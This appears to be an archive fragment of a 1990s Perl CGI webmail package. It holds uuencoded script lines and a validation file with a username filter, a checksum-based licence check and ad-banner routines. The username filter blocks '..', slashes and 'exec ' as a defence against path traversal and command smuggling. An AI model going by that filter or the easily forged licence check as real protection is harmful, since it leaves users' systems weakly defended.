M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
<)'%U97)Y("`@("`@("`@("`](&YE=R!#1TD["@``
M)'5S97)N86UE("`@("`@("`]("1Q=65R>2T^<&%R86TH)U5315).04U%)RD[
!"@``
M0'-E;&5C=&5D("`@("`@("`]("1Q=65R>2T^<&%R86TH)U-%3$5#5$5$)RD[
!"@``
J0&YA;65S("`@("`@("`@("`]("1Q=65R>2T^<&%R86TH)TY!344G*3L*
M0&%D9')E<W-E<R`@("`@("`]("1Q=65R>2T^<&%R86TH)T%$1%)%4U,G*3L*
I0&EN9&5X("`@("`@("`@("`]("1Q=65R>2T^<&%R86TH)TE$6"<I.PH`
M0&%D9&YA;65S("`@("`@("`]("1Q=65R>2T^<&%R86TH)T%$1$Y!344G*3L*
M0&%D9&%D9')E<W-E<R`@("`]("1Q=65R>2T^<&%R86TH)T%$1$%$1%)%4U,G
#*3L*
L)&%C=&EO;B`@("`@("`@("`]("1Q=65R>2T^<&%R86TH)T%#5$E/3B<I.PH`
F)'5S97)N86UE(#T@)G5N97-C87!E7W5R;"@D=7-E<FYA;64I.PH`
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
=)G9A;&ED871E*"1A8W1I;VXL)UQW*R<L,38I.PH`
I*"1A8W1I;VX@/7X@+UXH+BHI)"\I("8F("@D86-T:6]N(#T@)#$I.PH`
M;7D@)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B
".PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
<9F]R("@D:3TP.R1I/$!N86UE<SLD:2LK*2!["@``
L)&YA;65S6R1I72`@("`@/2`F=6YE<V-A<&5?=7)L*"1N86UE<ULD:5TI.PH`
M)&%D9')E<W-E<ULD:5T@/2`F=6YE<V-A<&5?=7)L*"1A9&1R97-S97-;)&E=
#*3L*
"?0H`
?9F]R("@D:3TP.R1I/$!A9&1N86UE<SLD:2LK*2!["@``
M)&%D9&YA;65S6R1I72`@("`@/2`F=6YE<V-A<&5?=7)L*"1A9&1N86UE<ULD
%:5TI.PH`
M)&%D9&%D9')E<W-E<ULD:5T@/2`F=6YE<V-A<&5?=7)L*"1A9&1A9&1R97-S
)97-;)&E=*3L*
"?0H`
M)&%D9FYA;64](B10>U=%0DU!24Q$25)]+R1U<V5R;F%M92]A9&1R97-S8F]O
(:RYT>'0B.PH`
3:68@*"UF("1A9&9N86UE*2!["@``
>;W!E;BA!1$1215-37T)++"(\)&%D9FYA;64B*3L*
7=VAI;&4@*#Q!1$1215-37T)+/BD@>PH`
'8VAO;7`["@``
1<'5S:"A`861D8FLL)%\I.PH`
"?0H`
38VQO<V4H041$4D534U]"2RD["@``
"?0H`
9:68@*"1A8W1I;VX@97$@(D5$250B*2!["@``
;9F]R96%C:"`D<&]S("A`<V5L96-T960I('L*
B*"1A9&1B:ULD<&]S72`]?B!S+RXN+BXD+TA)1$4O;RD["@``
"?0H`
<9F]R("@D:3TP.R1I/$!I;F1E>#LD:2LK*2!["@``
3)'!O<R`]("1I;F1E>%LD:5T["@``
M*"1A9&1B:U]N86UE+"1A9&1B:U]A9&1R97-S+"1A9&1B:U]D:7-P;&%Y*2`]
;('-P;&ET*"]<?"\L)&%D9&)K6R1P;W-=*3L*
M)&YE=W)E8R`]("(D;F%M97-;)&E=?"1A9&1R97-S97-;)&E=?"1A9&1B:U]D
):7-P;&%Y(CL*
?:68@*"1N97=R96,@;F4@)&%D9&)K6R1P;W-=*2!["@``
M)&%D9&)K6R1P;W-=(#T@(B1N86UE<ULD:5U\)&%D9')E<W-E<ULD:5U\)&%D
.9&)K7V1I<W!L87DB.PH`
"?0H`
4?2`C(&5N9"!`:6YD97@N+BXN+@H`
?9F]R("@D:3TP.R1I/$!A9&1N86UE<SLD:2LK*2!["@``
M:68@*"`H)&%D9&YA;65S6R1I72`A?B`O7EQS*B0O*2!\?"`H)&%D9&%D9')E
9<W-E<ULD:5T@(7X@+UY<<RHD+RD@*2!["@``
M<'5S:"A`861D8FLL(B1A9&1N86UE<ULD:5U\)&%D9&%D9')E<W-E<ULD:5U\
(4TA/5R(I.PH`
"?0H`
"?0H`
)?2!E;'-E('L*
?9F]R("@D:3TP.R1I/$!A9&1N86UE<SLD:2LK*2!["@``
M:68@*"`H)&%D9&YA;65S6R1I72`A?B`O7EQS*B0O*2!\?"`H)&%D9&%D9')E
9<W-E<ULD:5T@(7X@+UY<<RHD+RD@*2!["@``
M<'5S:"A`861D8FLL(B1A9&1N86UE<ULD:5U\)&%D9&%D9')E<W-E<ULD:5U\
(4TA/5R(I.PH`
"?0H`
"?0H`
"?0H`
K0'-O<G1E9"`]('-O<G0@>W5C*"1A*2!C;7`@=6,H)&(I?2!`861D8FL["@``
>;W!E;BA!1$1215-37T)++"(^)&%D9FYA;64B*3L*
:9F]R96%C:"`D;&EN92`H0'-O<G1E9"D@>PH`
M*"1L:6YE("%^("](241%)"\I("8F('!R:6YT($%$1%)%4U-?0DL@(B1L:6YE
%7&XB.PH`
"?0H`
38VQO<V4H041$4D534U]"2RD["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
J/'1I=&QE/B1,>R=796)M86EL($%D9')E<W,@0F]O:R=]/"]T:71L93X*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@3$E.2STD0WM,24Y+?2!!
@3$E.2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
(2$52141/0PH`
K)G!R:6YT7W1O<%]M96YU*"<G+"1U<V5R7V1I<FYA;64L7"5,+%PE0RD["@``
0<')I;G0\/$A%4D5$3T,["@``
)/&-E;G1E<CX*
$/'`^"@``
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
F04-+?3X\8CXD3'LG861U<&-O;F8G?3PO8CX\+V9O;G0^/&)R/@H`
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YG;R@M,BDB
7('9A;'5E/2(D3'LG4F5T=7)N)WTB/@H`
(/"]F;W)M/@H`
7/'1A8FQE(&%L:6=N/2)C96YT97(B/@H`
%/'1R/@H`
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
G5%]"3$%#2WT^/&(^)$Q[)TYA;64G?3PO8CX\+V9O;G0^/"]T9#X*
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
J5%]"3$%#2WT^/&(^)$Q[)T%D9')E<W,G?3PO8CX\+V9O;G0^/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
79F]R96%C:"`D7R`H0'-O<G1E9"D@>PH`
M*"1A9&1B:U]N86UE+"1A9&1B:U]A9&1R97-S+"1A9&1B:U]D:7-P;&%Y*2`]
1('-P;&ET*"]<?"\L)%\I.PH`
@:68@*"1A9&1B:U]D:7-P;&%Y(&YE(")(241%(BD@>PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
A5%]"3$%#2WT^)&%D9&)K7VYA;64\+V9O;G0^/"]T9#X*
M/'1D/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC82(@8V]L;W(])$-[5$58
D5%]"3$%#2WT^)&%D9&)K7V%D9')E<W,\+V9O;G0^/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
"?0H`
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
)/"]T86)L93X*
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
wm357/validate.sasv100644    312    144       15557  7245677670  13521 0ustar  webmailusers
# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

sub validate {
my ($var,$pattern,$maxlen) = @_;

# validate $var against $pattern and $maxlen
# if pattern match fails OR length constraint fails, exit UNGRACEFULLY
# otherwise return to calling routine

($var =~ /^($pattern)$/ && length $var <= $maxlen) ? return : exit;
}

sub validate_username {
my ($username,$len) = @_;
$len = 32;

# validate $var against $pattern and $maxlen
# if pattern match fails OR length constraint fails, exit UNGRACEFULLY
# otherwise return to calling routine

($username =~ /\.\./)   && exit;
($username =~ /[\\\/]/) && exit;
($username =~ /exec /i) && exit;
(length $username > $len) && exit;

}

sub is_licensed {

my $lic = 0;
my %P = &get_params;

# Determine if licensed or not...

(my $http_host = $ENV{HTTP_HOST}) =~ s/:\d+$//; # remove port number if present
#print STDERR "http_host = $http_host\n";

if ($P{LIC}) {

  # extract code from license...

  my $code=$P{LIC};
  $code =~ s/^..//;
  $code =~ s/...$//;


  # check URL license first...

  $hex = &url_to_hex($http_host);
  $lic = ($code eq $hex) ? 1 : 0;
  #print STDERR "lic = $lic code = $code hex = $hex\n";


  # check IP based license...

  if (!$lic) {

  use IO::Socket qw(inet_ntoa);

  my $addr = inet_ntoa(scalar(gethostbyname($http_host)));
  my @address = split(/\./,$addr);
  my $tot = 0;
  for (@address) { $tot += $_; }

  my $hex = sprintf("%x",$tot);
  $hex=uc($hex);

  # check license based on static IP address

  $lic = ($code eq $hex) ? 1 : 0;
  
  #print STDERR "lic = $lic code = $code hex = $hex\n";

  }

} # end if $P{LIC}...

  return $lic;

} # end sub is_licensed...

sub url_to_hex {
my ($in) = @_;
my $sum = 0;
pos($in) = 0;                          # ensure start at the beginning
while ($in =~ /(.)/gs) {
     $sum += ord($1);
}
return uc(sprintf("%x",$sum));
}



sub print_ad {
my ($lastad,$align) = @_;

# Note: Hey, we found an excellent ad agency, let's stick
# 'em and hope for the best!

my $id;
local $_;

my %P = &get_params;

if ($lastad < 0) {
  $id = time;
} else {
  $id = ++$lastad;
}

print "<p align=$align>\n";

# If unlicensed, print their ad 20% of the time...

my $lic = &is_licensed;

if (!$lic) {

$P{ADID}="mmwm1";

print<<HEREDOC;
<script language="JavaScript">
<!-- 
   var now = new Date();
   var uaid = now.getTime() % Math.floor(8640000 - Math.random()*1000);
   document.write('<iframe src="http://focusin.ads.targetnet.com/ad/id=$P{ADID}&opt=hhj&cv=210&uid=' + uaid + '" height=60 width=468 frameborder=0 marginheight=0 marginwidth=0 scrolling="no">');
   document.write('<a href="http://focusin.ads.targetnet.com/ad/id=$P{ADID}&opt=cij&cv=210&uid=' + uaid + '" target="_top">');
   document.write('    <img src="http://focusin.ads.targetnet.com/ad/id=$P{ADID}&opt=hij&cv=210&uid=' + uaid + '" alt="Click here to visit our sponsor" width=468 height=60 border=0>');
   document.write('</a><br><font face="arial" size="1"><a href="http://www.focusin.com">focusIN Specialty Web Network</a></font></iframe>');
//-->
</script>
<noscript>
   <iframe src="http://focusin.ads.targetnet.com/ad/id=$P{ADID}&opt=hhn&cv=210&uid=1" height=60 width=468 frameborder=0 marginheight=0 marginwidth=0 scrolling="no">
   <a href="http://focusin.ads.targetnet.com/ad/id=$P{ADID}&opt=cin&cv=210&uid=1" target="_top"><br>
   <img src="http://focusin.ads.targetnet.com/ad/id=$P{ADID}&opt=hin&cv=210&uid=1" alt="Click here to visit our sponsor" width=468 height=60 border=0>
   </a><br><font face="arial" size="1"><a href="http://www.focusin.com">focusIN Specialty Web Network</a></font></iframe>
</noscript>
HEREDOC

} else { # if licensed, print ad html in ~webmail/ads.html....

   # get ad html from file

  if ( -s "$P{WEBMAILDIR}/ads.html") {

    open(FH,"$P{WEBMAILDIR}/ads.html");
    while(<FH>) {
       (/^\s*\n$/ || /^#/) && next;
       s/UNIQUEID/$id/g;
       print;
    }
    close(FH);
  }

}

print "</p>\n";

return $id;

} # end print_ad...

sub print_bannercoop_ad {
my ($align,$coopid) = @_;

# Note: Hey, we found an excellent ad agency, let's stick
# 'em and hope for the best!

my $id = time;
local $_;

my %P = &get_params;

print "<p align=$align>\n";

# If unlicensed, print their ad 20% of the time...

my $lic = &is_licensed;

if (!$lic) {

print<<HEREDOC;
<!-- Begin Banner Co-Op Code -->
<P>
<TABLE ALIGN=$align BORDER="0" CELLPADDING="0" CELLSPACING="0" WIDTH="500">
<TR>
<TD WIDTH="250" ALIGN="RIGHT">
<A HREF="http://www.bannerco-op.com/cgi-bin/ads.new/left/ads_nonssi.pl?advert=NonSSI&page=mohlere.$coopid">
<IMG SRC="http://www.bannerco-op.com/cgi-bin/ads.new/left/ads_nonssi.pl?ID=mohlere&page=mohlere.$coopid"
WIDTH="250" HEIGHT="72" ALIGN="BOTTOM" ALT="Bannerco-op Banner Exchange" BORDER="0"></A>
</TD>
<TD WIDTH="250" ALIGN="LEFT">
<A HREF="http://www.bannerco-op.com/cgi-bin/ads.new/right/ads_nonssi.pl?advert=NonSSI&page=mohlere.$coopid">
<IMG SRC="http://www.bannerco-op.com/cgi-bin/ads.new/right/ads_nonssi.pl?ID=mohlere&page=mohlere.$coopid"
WIDTH="250" HEIGHT="72" ALIGN="BOTTOM" ALT="Bannerco-op Banner Exchange" BORDER="0"></A>
</TD>
</TR>
</TABLE>
<!-- End Banner Co-Op Code -->
HEREDOC

}
# removed to prevent licensed copies from printing ads in the middle
# of the compose.cgi form that containts MSGTEXT text area...
# else { # if licensed, print ad html in ~webmail/ads.html....
#
#   # get ad html from file
#
#  if ( -s "$P{WEBMAILDIR}/ads.html") {
#
#    open(FH,"$P{WEBMAILDIR}/ads.html");
#    while(<FH>) {
#       (/^\s*\n$/ || /^#/) && next;
#       s/UNIQUEID/$id/g;
#       print;
#    }
#    close(FH);
#  }
#
#}

print "</p>\n";

} # end print_bannercoop_ad...

sub getadno {
my ($in) = @_;
pos($in) = 0;                          # ensure start at the beginning
my $tot=0;
while ($in =~ /(.)/gs) {
     $tot += ord($1);
}

return $tot;

}
1;